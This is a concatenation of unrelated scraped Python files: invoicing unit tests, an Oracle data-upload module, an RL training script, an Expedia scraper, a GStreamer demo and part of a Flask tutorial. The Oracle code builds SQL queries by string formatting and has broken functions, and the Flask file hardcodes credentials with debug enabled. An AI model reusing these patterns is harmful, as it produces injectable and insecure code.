self.auth_config['api_url'])\n zwz.dokumenty_zrodlowe = [self.dok_lista.dokument_id]\n self.assertEqual(zwz.send_request().status_code, 500)\n\n @unittest.skip('Wymaga przygotowania dokumentów w vendo.')\n def test_fakturowanie_zamknietego_dokuementu_wz(self):\n \"\"\"\n Przed testem odepnij z dokumentu FV dokumenty magazynowe,\n następnie usuń dokument FV.\n\n Numer WZ: 13556/18/A/WZ\n Data utworzenia: 25.06.2018\n \"\"\"\n self.dok_lista.dokument_id = 847285\n response = self.dok_lista.send_request().json()\n\n\n def test_czy_ostatni_dzien_miesiaca(self):\n \"\"\"\n Jeżeli jutro miesiąc będzie inny niż dziś to funkcja zwróci True.\n \"\"\"\n \n self.assertTrue(ostatni_dzien_miesiaca(\n datetime.date(2018,6,30)\n ))\n self.assertFalse(ostatni_dzien_miesiaca(\n datetime.date(2018,6,29)\n ))\n\n\n def test_ostatni_dzien_miesiaca_typ_argumentu(self):\n \"\"\"\n Sprawdza typ paramentru\n \"\"\"\n args = [1,'sdfsf', {'a':2}, [1,2,3]]\n\n for arg in args:\n with self.assertRaises(TypeError):\n ostatni_dzien_miesiaca(arg)\n\n \n @unittest.skip('Przed testem należy przygotować dokumenty w vendo.')\n def test_fakturowanie_otwartego_dokumentu_wz(self):\n \"\"\"\n Przed testem odepnij z dokumentu FV dokumenty magazynowe,\n następnie usuń dokument FV.\n\n Numer WZ: 13554/18/A/WZ\n Data utworzenia: 25.06.2018\n \"\"\"\n data_dzis = datetime.date.today().strftime(\"%Y-%m-%d\")\n self.dok_lista.data_czas_modyfikacji = data_dzis\n self.dok_lista.dokument_id = 847273\n response = self.dok_lista.send_request().json()\n\n dok_wz = DokumentWZ(response['Wynik']['Rekordy'][0])\n\n zwz = ZafakturujWZ(self.user_token, self.auth_config['api_url'])\n zwz.dokumenty_zrodlowe = [dok_wz.dokument_id]\n response_fakturowanie = zwz.send_request()\n self.assertEqual(response_fakturowanie.status_code,\n 200,\n response_fakturowanie.json())\n\n\n def test_sprawdzenie_czy_wd_fv_zbiorczna_na_dokumencie(self):\n \"\"\"Sprawdza czy prawidłowo odczytywana jest wd FV zbiorcza na dokumencie.\n\n Wartość dowolna FV zbiorcza ustawiana jest na dokumencie automatycznie na\n podstawie wartości TAK/NIE/NULL w karcie klienta który na dokumencie jest\n nabywcą.\n \"\"\"\n\n # WZ z nabywcą z ustawioną wd FV zbiorcza na Tak\n self.dok_lista.dokument_id = 869617\n response = self.dok_lista.send_request().json()\n self.assertTrue(DokumentWZ(response['Wynik']['Rekordy'][0]).fv_zbiorcza)\n\n # WZ z nabywcą z ustawioną wd FV zbiorcza na Nie\n self.dok_lista.dokument_id = 869618\n response = self.dok_lista.send_request().json()\n self.assertFalse(DokumentWZ(response['Wynik']['Rekordy'][0]).fv_zbiorcza)\n\n \n # WZ z nabywcą z ustawioną wd FV zbiorcza na null\n self.dok_lista.dokument_id = 869614\n response = self.dok_lista.send_request().json()\n self.assertFalse(DokumentWZ(response['Wynik']['Rekordy'][0]).fv_zbiorcza)\n\n\n # @unittest.skip('Zależne od ilości dokumentów w danym dniu') \n def test_pobieranie_dokumentow_bez_fv_zbiorcza(self):\n self.dok_lista.wartosci_dowolne = {'Typ':'Tekst',\n 'Wartosci':['Tak'],\n 'Nazwa':'fv_zbiorcza'}\n\n data_dzis = datetime.date.today().strftime(\"%Y-%m-%d\")\n self.dok_lista.data_czas_modyfikacji = data_dzis\n \n response = self.dok_lista.send_request().json()\n dok_zbiorcza_tak, dok_zbiorcza_nie = 0, 0\n for dok in response['Wynik']['Rekordy']:\n wz = DokumentWZ(dok)\n if wz.fv_zbiorcza:\n dok_zbiorcza_tak += 1\n else:\n dok_zbiorcza_nie += 1\n\n # zależne od daty wywołania testu\n self.assertEqual(dok_zbiorcza_tak, 2)\n self.assertEqual(dok_zbiorcza_nie, 4)\n \nif __name__ == '__main__':\n unittest.main()\n","sub_path":"automatyczne_fakturowanie_wz3/test/test_dokument_wz.py","file_name":"test_dokument_wz.py","file_ext":"py","file_size_in_byte":9595,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"273150423","text":"import os\nimport db_config as config\nfrom exceptions import UploadProcessException\nfrom fastnumbers import fast_real\n\n# config.set_oracle_instant_client_location() # we set location of oracle instant client\nimport cx_Oracle\n\n\ndef get_connection():\n return cx_Oracle.connect(config.username, config.password, config.dsn, encoding=config.encoding)\n\n\ndef convert_number_or_into_string(str_input, col):\n \"\"\"Optimizes the Data Types. If VARCHAR type is defined in SQL for any value, it saves the similar value by adding quotation marks.\n However, if not, then by default it's a Number. In the later case, if the value is NULL, convert it to 0 else save the number.\"\"\"\n\n if (col == \"CRD-revision-side ID\") or (col == \"CRD\") or \\\n (col == \"CRD revision\") or (col == \"Folder name\") or (col == \"Symmetric\") or (col == \"Side\") or (\n col == \"User\") or (col == \"Origin\") or (col == \"Tire size\") or \\\n (col == \"CTC revision\") or (col == \"ERD-ARD\") or (col == \"Design manual\") or (col == \"Design code\") or \\\n (col == \"Rim flange protector\") or (col == \"Apex 3 layup\") or (col == \"Ply layu\") or (\n col == \"Flipper layup\") or \\\n (col == \"Stiffener inside layup\") or (col == \"First chipper layup\") or (col == \"Toeguard layup\") or (\n col == \"Sidewall layup\") or \\\n (col == \"Overlay layup\") or (col == \"Tread layup\") or (col == \"Bead configuration\") or (col == \"Type\") or (\n col == \"Description\") or \\\n (col == \"Construction\") or (col == \"Material model\") or (col == \"DEW version\") or (\n col == \"Rolling surface\") or (col == \"Cooldown\") or \\\n (col == \"Unit system\") or (col == \"Rim contour\") or (col == \"Test-component ID\") or (\n col == \"Component\") or (col == \"Compound\") or (\n col == \"Sample ID\") or \\\n (col == \"Cord code\") or (col == \"Cord serial\") or (\n col == \"Treatment code\") or \\\n (col == \"Test-load-pressure ID\") or (col == \"TD\") or (\n col == \"FP\") or (col == \"SR\") or (col == \"RR\") or \\\n (col == \"FM\") or (col == \"COSTGV\") or (col == \"COSBO\"):\n return \"'\" + str_input + \"'\"\n\n if str_input == 'null' or str_input == 'None':\n return 0\n elif str_input.isdigit() or (str_input.replace('.', '', 1).isdigit() and str_input.count('.') < 2) or (\n str_input.replace('-', '', 1).replace('.', '', 1).isdigit()):\n return fast_real(str_input)\n else:\n return \"'\" + str_input + \"'\"\n\n\ndef get_unique_id(connection):\n \"\"\"Getting unique primary id from SQL\"\"\"\n sql_statement = 'select EM_REPO.shared_sequence.nextval from dual'\n try:\n # create a cursor\n with connection.cursor() as cursor:\n cursor.execute(sql_statement)\n return int(cursor.fetchone()[0])\n except cx_Oracle.Error as e:\n raise UploadProcessException(\"Could not allocate sequence ID: {0}\".format(e)) from e\n\ndef get_crd_id(connection, crd):\n \"\"\"Getting unique primary id from SQL\"\"\"\n sql_statement = 'select A_CCSD_ID from EM_REPO.A_CCSD where'\n try:\n # create a cursor\n with connection.cursor() as cursor:\n cursor.execute(sql_statement)\n while True:\n rows = cursor.fetchone()\n if not rows:\n return 'NONE'\n else:\n return str(rows[0])\n except cx_Oracle.Error as e:\n raise UploadProcessException(\"Could not allocate sequence ID: {0}\".format(e)) from e\n\ndef search_and_delete(connection, first_value):\n \"\"\"Getting unique primary id from SQL\"\"\"\n sql_statement = 'delete from EM_REPO.B_TESTS where B_TESTS_ID=ANY(select B_TESTS_ID from EM_REPO.BTESTS where ' \\\n '\"Test ID\"=\"{0}\")'.format(first_value)\n try:\n # create a cursor\n with connection.cursor() as cursor:\n cursor.execute(sql_statement)\n print('deleted b_test with id',first_value)\n except cx_Oracle.Error as e:\n raise UploadProcessException(\"Could not allocate sequence ID: {0}\".format(e)) from e\n\n\ndef search_and_update(connection, first_value):\n \"\"\"Getting unique primary id from SQL\"\"\"\n sql_statement = 'delete from EM_REPO.B_TESTS where B_TESTS_ID=ANY(select B_TESTS_ID from EM_REPO.BTESTS where ' \\\n '\"Test ID\"=\"{0}\")'.format(first_value)\n try:\n # create a cursor\n with connection.cursor() as cursor:\n cursor.execute(sql_statement)\n return int(cursor.fetchone()[0])\n except cx_Oracle.Error as e:\n raise UploadProcessException(\"Could not allocate sequence ID: {0}\".format(e)) from e\n\n\ndef get_cols(cols, table_name):\n primary_key = config.get_table_primary_key(table_name)\n col_length = len(cols)\n col_string = '(' + put_double_quote_if_space_between_col_name_and_length_30(primary_key)\n parent_primary_key = config.get_parent_table_primary_key(table_name)\n if not table_name == 'A_CCSD':\n col_string += \",{0}\".format(put_double_quote_if_space_between_col_name_and_length_30(parent_primary_key))\n for i in range(0, col_length):\n col_string += ',' + put_double_quote_if_space_between_col_name_and_length_30(str(cols[i]))\n return col_string + ')'\n\n\ndef get_extra_cols(cols, allowed_col_length, table_name):\n primary_key = config.get_table_primary_key(table_name)\n col_list = []\n col_length = len(cols)\n col_string = '(' + put_double_quote_if_space_between_col_name_and_length_30(primary_key)\n parent_primary_key = config.get_parent_table_primary_key(table_name)\n if not table_name == 'A_CCSD':\n col_string += \",{0}\".format(put_double_quote_if_space_between_col_name_and_length_30(parent_primary_key))\n for i in range(0, col_length):\n if i >= allowed_col_length:\n col_list.append(truncate_30_chars(str(cols[i])))\n continue\n col_string += ',' + put_double_quote_if_space_between_col_name_and_length_30(str(cols[i]))\n return col_string + ')', col_list\n\n\ndef read_all_rows_and_save_extra(connection, table_name, cols, rows, allowed_col_length, link_dict):\n sql_list = []\n id_map = dict()\n col_string, col_list = get_extra_cols(cols, allowed_col_length, table_name)\n dict_data = dict()\n dict_data_link_back = dict()\n # col_string = get_cols(cols, table_name)\n link_key = ''\n if table_name == 'A_CCSD' or table_name == 'B_TESTS':\n link_key += config.get_table_link_back_key('A_CCSD')\n elif table_name == 'C_COMPONENTS':\n link_key += config.get_table_link_back_key('B_TESTS')\n elif table_name == 'D_REINFORCEMENTS':\n link_key += config.get_table_link_back_key('B_TESTS')\n elif table_name == 'E_INDICATORS':\n link_key += config.get_table_link_back_key('B_TESTS')\n link_back_key_index = cols.index(link_key)\n row_string = ''\n extra_row_string = []\n current_index = 0\n for i in range(0, len(rows)):\n actual_row_cols = len(rows[i])\n uid = get_unique_id(connection)\n first_value = str(rows[i][0])\n if table_name == 'A_CCSD': # in each row first make sure if value exist then delete\n search_and_update(connection, first_value)\n if table_name == 'B_TEST': # in each row first make sure if value exist then delete\n search_and_delete(connection, first_value)\n link_back_value = str(rows[i][cols.index(config.get_table_link_back_key(table_name))])\n id_map[link_back_value] = uid\n dict_data.update({uid: first_value})\n dict_data_link_back.update({uid: link_back_value})\n row_string += 'INTO EM_REPO.' + table_name + ' ' + col_string + ' VALUES({0}'.format(uid)\n if not table_name == 'A_CCSD':\n link_fk_key = config.get_key_by_value(link_dict, link_back_value)\n row_string += \",{0}\".format(link_fk_key)\n row_string += \",'{0}'\".format(first_value)\n for j in range(1, actual_row_cols):\n if j >= allowed_col_length:\n statement = prepare_extra_column_sql(table_name, uid, str(cols[j]), str(rows[i][j]))\n extra_row_string.append(statement)\n continue\n\n val = convert_number_or_into_string(str(rows[i][j]), cols[j])\n\n row_string += \",{0}\".format(val)\n\n row_string += ')'\n sql_list.append(row_string) # save normal columns\n row_string = ''\n # iterate through all extra col\n for sql_stmt in extra_row_string:\n extra_uid = get_unique_id(connection)\n sql_list.append(sql_stmt.replace('REPLACE_ID', str(extra_uid)))\n\n return dict_data, dict_data_link_back, sql_list, id_map\n\n\ndef read_all_rows_and_save(connection, table_name, cols, rows, link_dict):\n sql_list = []\n id_map = dict()\n allowed_col_length = config.get_table_total_cols(table_name)\n dict_data = dict()\n dict_data_link_back = dict()\n if len(cols) > allowed_col_length:\n return read_all_rows_and_save_extra(connection, table_name, cols, rows, allowed_col_length, link_dict)\n else:\n col_string = get_cols(cols, table_name)\n link_key = ''\n if table_name == 'A_CCSD' or table_name == 'B_TESTS':\n link_key += config.get_table_link_back_key('A_CCSD')\n elif table_name == 'C_COMPONENTS':\n link_key += config.get_table_link_back_key('B_TESTS')\n elif table_name == 'D_REINFORCEMENTS':\n link_key += config.get_table_link_back_key('B_TESTS')\n elif table_name == 'E_INDICATORS':\n link_key += config.get_table_link_back_key('B_TESTS')\n link_back_key_index = cols.index(link_key)\n row_string = ''\n for i in range(0, len(rows)):\n actual_row_cols = len(rows[i])\n uid = get_unique_id(connection)\n first_value = str(rows[i][0])\n if table_name == 'B_TEST': # in each row first make sure if value exist then delete\n search_and_delete(connection, first_value)\n link_back_value = str(rows[i][cols.index(config.get_table_link_back_key(table_name))])\n id_map[link_back_value] = uid\n dict_data.update({uid: first_value})\n dict_data_link_back.update({uid: link_back_value})\n row_string += 'INTO EM_REPO.' + table_name + ' ' + col_string + ' VALUES({0}'.format(uid)\n if not table_name == 'A_CCSD':\n link_fk_key = config.get_key_by_value(link_dict, link_back_value)\n row_string += \",{0}\".format(link_fk_key)\n row_string += \",'{0}'\".format(first_value)\n for j in range(1, actual_row_cols):\n val = convert_number_or_into_string(str(rows[i][j]), cols[j])\n row_string += \",{0}\".format(val)\n row_string += ')'\n sql_list.append(row_string) # save normal columns\n row_string = ''\n return dict_data, dict_data_link_back, sql_list, id_map\n\n\ndef prepare_extra_column_sql(table_name, primary_key_value, col_name, col_value):\n primary_key = config.get_table_primary_key(table_name)\n primary_key_extra = config.get_table_primary_key(table_name + '_EXTRA')\n sql_string = ''\n sql_string += 'INTO EM_REPO.' + table_name + '_EXTRA '\n sql_string += '(\"{0}\",\"{1}\",\"Column name\",\"Column value\") '.format(primary_key_extra, primary_key)\n sql_string += \"VALUES (REPLACE_ID,{0},'{1}','{2}')\".format(primary_key_value, col_name, col_value)\n return sql_string\n\n\ndef save_all_tables(connection, sql_statement, json_file_name):\n try:\n with connection.cursor() as cursor:\n cursor.execute(sql_statement)\n connection.commit()\n except cx_Oracle.Error as e:\n raise UploadProcessException('Could not save data!: {0}'.format(e)) from e\n\n\ndef delete_all_rows(connection, table_name):\n sql_statement = 'Truncate Table ' + table_name\n try:\n # create a cursor\n with connection.cursor() as cursor:\n # execute the insert statement\n cursor.execute(sql_statement)\n print('delete completed:' + table_name)\n except cx_Oracle.Error as error:\n print('Error occurred while deleting:' + table_name)\n print(error)\n\n\ndef delete_table(connection, table_name):\n sql_statement = 'DROP TABLE \"' + table_name + '\" CASCADE CONSTRAINTS'\n try:\n # create a cursor\n with connection.cursor() as cursor:\n # execute the insert statement\n cursor.execute(sql_statement)\n print('delete table:' + table_name)\n except cx_Oracle.Error as error:\n print('Error occurred while deleting:' + table_name)\n print(error)\n\n\ndef delete_all_tables(connection):\n delete_table(connection, 'E_INDICATORS_EXTRA')\n delete_table(connection, 'E_INDICATORS')\n delete_table(connection, 'D_REINFORCEMENTS_EXTRA')\n delete_table(connection, 'D_REINFORCEMENTS')\n delete_table(connection, 'C_COMPONENTS_EXTRA')\n delete_table(connection, 'C_COMPONENTS')\n delete_table(connection, 'B_TESTS_EXTRA')\n delete_table(connection, 'B_TESTS')\n delete_table(connection, 'A_CCSD_EXTRA')\n delete_table(connection, 'A_CCSD')\n\n\ndef delete_all_tables_data(connection):\n delete_all_rows(connection, 'E_INDICATORS_EXTRA')\n delete_all_rows(connection, 'E_INDICATORS')\n delete_all_rows(connection, 'D_REINFORCEMENTS_EXTRA')\n delete_all_rows(connection, 'D_REINFORCEMENTS')\n delete_all_rows(connection, 'C_COMPONENTS_EXTRA')\n delete_all_rows(connection, 'C_COMPONENTS')\n delete_all_rows(connection, 'B_TESTS_EXTRA')\n delete_all_rows(connection, 'B_TESTS')\n delete_all_rows(connection, 'A_CCSD_EXTRA')\n delete_all_rows(connection, 'A_CCSD')\n\n\ndef put_double_quote_if_space_between_col_name_and_length_30(col_name):\n \"\"\"As the Oracle only allows maximum 30 characters for columns names, we limit the names of the columns to 30\n from JSON \"\"\"\n\n str = col_name\n if len(col_name) > 30:\n return '\"' + truncate_30_chars(str) + '\"'\n return '\"' + col_name + '\"'\n\n\ndef truncate_30_chars(input_string):\n return input_string[:30]\n","sub_path":"oracle_db.py","file_name":"oracle_db.py","file_ext":"py","file_size_in_byte":14116,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"225216405","text":"import click\nimport gym\nimport tensorflow as tf\n\nfrom environments.hindsight_wrapper import MountaincarHindsightWrapper\nfrom sac.networks import MlpAgent\nfrom sac.train import HindsightTrainer\n\n\n@click.command()\n@click.option('--seed', default=0, type=int)\n@click.option('--device-num', default=0, type=int)\n@click.option('--relu', 'activation', flag_value=tf.nn.relu, default=True)\n@click.option('--n-layers', default=3, type=int)\n@click.option('--layer-size', default=256, type=int)\n@click.option('--learning-rate', default=3e-4, type=float)\n@click.option('--buffer-size', default=1e7, type=int)\n@click.option('--num-train-steps', default=4, type=int)\n@click.option('--batch-size', default=32, type=int)\n@click.option('--reward-scale', default=1e3, type=float)\n@click.option('--entropy-scale', default=1, type=float)\n@click.option('--n-goals', default=1, type=int)\n@click.option('--grad-clip', default=2e4, type=float)\n@click.option('--logdir', default=None, type=str)\n@click.option('--save-path', default=None, type=str)\n@click.option('--load-path', default=None, type=str)\n@click.option('--render', is_flag=True)\ndef cli(seed, device_num, buffer_size, activation, n_layers, layer_size, learning_rate,\n reward_scale, entropy_scale, grad_clip, batch_size, num_train_steps, logdir,\n save_path, load_path, render, n_goals):\n HindsightTrainer(\n env=MountaincarHindsightWrapper(gym.make('MountainCarContinuous-v0')),\n base_agent=MlpAgent,\n seq_len=None,\n seed=seed,\n device_num=device_num,\n buffer_size=buffer_size,\n activation=activation,\n n_layers=n_layers,\n layer_size=layer_size,\n learning_rate=learning_rate,\n entropy_scale=entropy_scale,\n reward_scale=reward_scale,\n n_goals=n_goals,\n grad_clip=grad_clip if grad_clip > 0 else None,\n batch_size=batch_size,\n num_train_steps=num_train_steps,\n ).train(\n load_path=load_path,\n save_path=save_path,\n logdir=logdir,\n render=render,\n )\n\n\nif __name__ == '__main__':\n cli()\n","sub_path":"scripts/mountaincar.py","file_name":"mountaincar.py","file_ext":"py","file_size_in_byte":2086,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"581368043","text":"import json\n\nimport pymysql as pymysql\nimport requests\nfrom lxml import html\nfrom collections import OrderedDict\nimport argparse\nimport csv\nimport flask\nfrom datetime import datetime,date,timedelta\n# Connect to the database\nconnection = pymysql.connect(host='localhost',\n user='root',\n password='',\n db='1232',\n charset='utf8mb4',\n cursorclass=pymysql.cursors.DictCursor)\n\ndef parse(source, destination, traveldate):\n flightline = 0\n Airflightline = 0\n Jetflightline = 0\n d = datetime.strptime(traveldate, '%m/%d/%Y')\n travel2date=d.strftime('%Y-%m-%d')\n #print(traveldate)\n print(source)\n print(destination)\n print(traveldate)\n \n for i in range(5):\n try:\n url = \"https://www.expedia.com/Flights-Search?trip=oneway&leg1=from:{0},to:{1},departure:{2}TANYT&passengers=adults:1,children:0,seniors:0,infantinlap:Y&options=cabinclass%3Aeconomy&mode=search&origref=www.expedia.com\".format(\n source, destination, traveldate)\n\n response = requests.get(url)\n\n parser = html.fromstring(response.text)\n\n json_data_xpath = parser.xpath(\"//script[@id='cachedResultsJson']//text()\")\n raw_json = json.loads(json_data_xpath[0])\n\n flight_data = json.loads(raw_json[\"content\"])\n\n flight_info = OrderedDict()\n lists = []\n\n for i in flight_data['legs'].keys():\n\n total_distance = flight_data['legs'][i][\"formattedDistance\"]\n exact_price = flight_data['legs'][i]['price']['totalPriceAsDecimal']\n #\n # departure_location_airport = flight_data['legs'][i]['departureAirport']['longName']\n departure_location_city = flight_data['legs'][i]['departureLocation']['airportCity']\n departure_location_airport_code = flight_data['legs'][i]['departureLocation']['airportCode']\n #\n # arrival_location_airport = flight_data['legs'][i]['arrivalAirport']['longName']\n arrival_location_airport_code = flight_data['legs'][i]['arrivalLocation']['airportCode']\n arrival_location_city = flight_data['legs'][i]['arrivalLocation']['airportCity']\n airline_name = flight_data['legs'][i]['carrierSummary']['airlineName']\n #\n no_of_stops = flight_data['legs'][i][\"stops\"]\n flight_duration = flight_data['legs'][i]['duration']\n flight_hour = flight_duration['hours']\n flight_minutes = flight_duration['minutes']\n flight_days = flight_duration['numOfDays']\n #\n if no_of_stops == 0:\n stop = 0\n else:\n stop = no_of_stops\n #\n total_flight_duration = \"{0} days {1} hours {2} minutes\".format(flight_days, flight_hour,\n flight_minutes)\n # departure = departure_location_airport+\", \"+departure_location_city\n # arrival = arrival_location_airport+\", \"+arrival_location_city\n departure = departure_location_city\n arrival = arrival_location_city\n carrier = flight_data['legs'][i]['timeline'][0]['carrier']\n plane = carrier['plane']\n plane_code = carrier['planeCode']\n formatted_price = \"{0:.2f}\".format(exact_price)\n #\n if not airline_name:\n airline_name = carrier['operatedBy']\n #\n timings = []\n for timeline in flight_data['legs'][i]['timeline']:\n if 'departureAirport' in timeline.keys():\n departure_airport = timeline['departureAirport']['longName']\n departure_time = timeline['departureTime']['time']\n arrival_airport = timeline['arrivalAirport']['longName']\n arrival_time = timeline['arrivalTime']['time']\n flight_timing = {\n 'departure_airport': departure_airport,\n 'departure_time': departure_time,\n 'arrival_airport': arrival_airport,\n 'arrival_time': arrival_time\n }\n timings.append(flight_timing)\n\n flight_info = {'stops': stop,\n 'ticket price': formatted_price,\n 'departure': departure,\n 'arrival': arrival,\n 'flight duration': total_flight_duration,\n 'airline': airline_name,\n 'plane': plane,\n 'timings': timings,\n 'plane code': plane_code\n }\n\n if flight_info.get(\"airline\") == 'Air India':\n \n # print(flightline)\n stops=flight_info.get(\"stops\")\n ticketPrice=flight_info.get(\"ticket price\")\n departure=flight_info.get(\"departure\")\n arrival=flight_info.get(\"arrival\")\n flight_duration=flight_info.get(\"flight duration\")\n airline=flight_info.get(\"airline\")\n plane=flight_info.get(\"plane\")\n timings=flight_info.get(\"timings\")\n plane_code=flight_info.get(\"plane code\")\n departure_time=timings[0]['departure_time']\n arrival_time=timings[0]['arrival_time']\n\n try:\n with connection.cursor() as cursor:\n sql = \"INSERT INTO flightdataset (departureDate, stops, ticket_price, departure, arrival, flight_duration, airline, plane, departure_time,arrival_time, plane_code) VALUES (%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s)\"\n cursor.execute(sql, (travel2date,stops,ticketPrice,departure,arrival,flight_duration,airline,plane,departure_time,arrival_time,plane_code))\n connection.commit()\n except Exception as e:\n print(e)\n\n lists.append(flight_info)\n \n\n elif flight_info.get(\"airline\") == 'Jet Airways':\n \n # print(flightline)\n stops=flight_info.get(\"stops\")\n ticketPrice=flight_info.get(\"ticket price\")\n departure=flight_info.get(\"departure\")\n arrival=flight_info.get(\"arrival\")\n flight_duration=flight_info.get(\"flight duration\")\n airline=flight_info.get(\"airline\")\n plane=flight_info.get(\"plane\")\n timings=flight_info.get(\"timings\")\n plane_code=flight_info.get(\"plane code\")\n departure_time=timings[0]['departure_time']\n arrival_time=timings[0]['arrival_time']\n\n try:\n with connection.cursor() as cursor:\n sql = \"INSERT INTO flightdataset (departureDate,stops, ticket_price, departure, arrival, flight_duration, airline, plane, departure_time, arrival_time, plane_code) VALUES (%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s)\"\n cursor.execute(sql, (travel2date,stops,ticketPrice,departure,arrival,flight_duration,airline,plane,departure_time,arrival_time,plane_code))\n connection.commit()\n except Exception as e:\n print(e)\n\n lists.append(flight_info)\n \n\n \n else:\n continue\n sortedlist = sorted(lists, key=lambda k: k['ticket price'], reverse=False)\n # return flight_info\n sortedlist = json.dumps(sortedlist)\n return sortedlist\n\n\n except ValueError:\n print(\"Rerying...\")\n\n return {\"error\": \"failed to process the page\", }\n\n\nif __name__ == \"__main__\":\n try:\n\n argparser = argparse.ArgumentParser()\n argparser.add_argument('source', help='Source airport code')\n argparser.add_argument('destination', help='Destination airport code')\n argparser.add_argument('date', help='MM/DD/YYYY')\n argparser.add_argument('days', help='Days to departure')\n\n args = argparser.parse_args()\n source = args.source\n destination = args.destination\n traveldate = args.date\n days=args.days\n print(traveldate)\n print(\"in expediaFetchData.py\")\n print(\"Fetching flight details\")\n currentDate1=date.today()\n currentDate=str(currentDate1)\n \n\n d = datetime.strptime(currentDate, '%Y-%m-%d')\n currentDate=d.strftime('%m/%d/%Y')\n #print(currentDate)\n \n \n #print('current Date ',currentDate)\n for i in range(0,int(days)):\n travelDate=date.today()+timedelta(days=i)\n d1 = datetime.strptime(str(travelDate), '%Y-%m-%d')\n traveldate=d1.strftime('%m/%d/%Y')\n scraped_data = parse(source, destination, traveldate)\n print(\"Writing data to output file\")\n # print(scraped_data)\n with open('%s-%s-flight-results.json' % (source, destination), 'w') as fp:\n json.dump(scraped_data, fp, indent=4)\n except Exception as e:\n print(e.args)\n","sub_path":"Airline Prediction/build/classes/codes/expediaFetchData.py","file_name":"expediaFetchData.py","file_ext":"py","file_size_in_byte":10029,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"46106548","text":"for i in range(3):\n print(\"i = {}\".format(i))\n for j in range(5):\n print(\"j = {}\".format(j))\n print()\n\nsatu_D = [1,2,3,4,5,6]\ndua_D = [ [1,2,3] , [4,5,6] ]\ntida_D = [ [ [1,2] , [3,4] ], [ [4,5] , [6,7] ] ] \n\nfor i in tida_D:\n for j in i:\n for k in j:\n print(k)\n\n# print(satu_D[0])\n# print(dua_D[1][0])\n# print(tida_D[1][0][0])\n\ndata_dua_d = [ [\"nafi\",22], [\"Arin\",25] ]\nfor j in data_dua_d:\n for k in j:\n print(k)","sub_path":"nested_loop.py","file_name":"nested_loop.py","file_ext":"py","file_size_in_byte":462,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"268957399","text":"# -*- coding: utf-8 -*-\n# 3.0\n\n# \n\nimport os\nimport gst, gtk, gobject\n\n# \n\nclass VideoPlayer:\n def __init__(self):\n self.window = gtk.Window()\n self.window.connect('destroy', self.on_destroy)\n\n self.drawingarea = gtk.DrawingArea()\n self.drawingarea.connect('realize', self.on_drawingarea_realized)\n self.window.add(self.drawingarea)\n\n self.playbin = gst.element_factory_make('playbin2')\n self.playbin.set_property('uri', 'file:///home/neubauer/Downloads/water-and-wind.ogv')\n\n self.sink = gst.element_factory_make('xvimagesink')\n self.sink.set_property('force-aspect-ratio', True)\n self.playbin.set_property('video-sink', self.sink)\n\n self.bus = self.playbin.get_bus()\n self.bus.add_signal_watch()\n self.bus.connect(\"message::eos\", self.on_finish)\n\n self.window.show_all()\n\n self.playbin.set_state(gst.STATE_PLAYING)\n\n def on_finish(self, bus, message):\n self.playbin.set_state(gst.STATE_PAUSED)\n\n def on_destroy(self, window):\n self.playbin.set_state(gst.STATE_NULL)\n gtk.main_quit()\n\n def on_drawingarea_realized(self, sender):\n self.sink.set_xwindow_id(self.drawingarea.window.xid)\n\n# \n\nVideoPlayer()\ngtk.main()\n\n# \n\ngst.get_gst_version\n\n# \n\ngst.get_pygst_version\n\n# \n\ngst.version\n\n# \n\ngst.version_string\n\n# \n\n\n","sub_path":"gstreamer demo.py","file_name":"gstreamer demo.py","file_ext":"py","file_size_in_byte":1460,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"610916783","text":"import sqlite3\nfrom flask import Flask, request, session, g, redirect, url_for, abort, render_template, flash\nfrom contextlib import closing\n\n# configuration\n# todo: create a separate .ini or .py file and load that or import the values from there\nDATABASE = '/tmp/flaskr.db'\nDEBUG = True # leaving it activated will allow users to execute code on the server\nSECRET_KEY = 'development key' # keep the client-side sessions secure\nUSERNAME = 'admin'\nPASSWORD = 'default'\n\n# create and initialize our application with the config\napp = Flask(__name__)\napp.config.from_object(__name__)\n# look for all uppercase variables defined in the object\n# app.config.from_envvar('FLASKR_SETTINGS', silent=True) # load from a config file\n\n\n\n# APPLICATION SET UP\ndef connect_db():\n\treturn sqlite3.connect(app.config['DATABASE'])\n\n\n\n# CREATE THE DATABASE\ndef init_db():\n\twith closing(connect_db()) as db:\n\t\twith app.open_resource('schema.sql', mode='r') as f:\n\t\t\tdb.cursor().executescript(f.read())\n\t\tdb.commit()\n\n\n\n# REQUEST DATABASE CONNECTIONS\n@app.before_request\ndef before_request():\n\tg.db = connect_db()\n\n# run when an exception is raised and after_request() is not executed\n@app.teardown_request\ndef teardown_request(exception):\n\tdb = getattr(g, 'db', None)\n\tif db is not None:\n\t\tdb.close()\n\n\n\n# THE VIEW FUNCTIONS\n# shows all rooms in the database, newest entry on top\n@app.route('/')\ndef show_rooms():\n\tif num_students() == 0:\n\t\tinsert_students()\n\tif num_rooms() == 0:\n\t\tinsert_rooms()\n\treturn render_template('show_rooms.html', halls=halls_list(), map=True)\n\n@app.route('/table')\ndef show_table():\n\treturn render_template('show_rooms.html', rooms=room_info(), map=False)\n\n@app.route('/')\ndef show_selected_hall(hall):\n\treturn render_template('show_hall.html', hall=hall)\n\n@app.route('/staff')\ndef staff():\n\treturn render_template('staff.html', rooms=room_info(), \\\n\t\t\t\t\t\t\tstudents=unassigned_students())\n\n@app.route('/student/')\ndef student(studentid):\n\tstudent = current_student()\n\treturn render_template('student.html', student=student, rooms=room_info(), \\\n\t\t\t\t\t\t\twishlist=wishlist_of(student['id']), \\\n\t\t\t\t\t\t\tassignment=room_assigned_to(student['id']), map=True)\n\n@app.route('/student')\ndef gotostudent():\n\tstudent = current_student()\n\treturn redirect(url_for('student', studentid=student['id']))\n\n\n# ROW COUNTS IN A TABLE\ndef num_students():\n\tcur = g.db.execute('select count(*) from students')\n\tcount = cur.fetchall()\n\treturn count[0][0]\n\ndef num_rooms():\n\tcur = g.db.execute('select count(*) from rooms')\n\tcount = cur.fetchall()\n\treturn count[0][0]\n\n\n\n# INSERTS\ndef 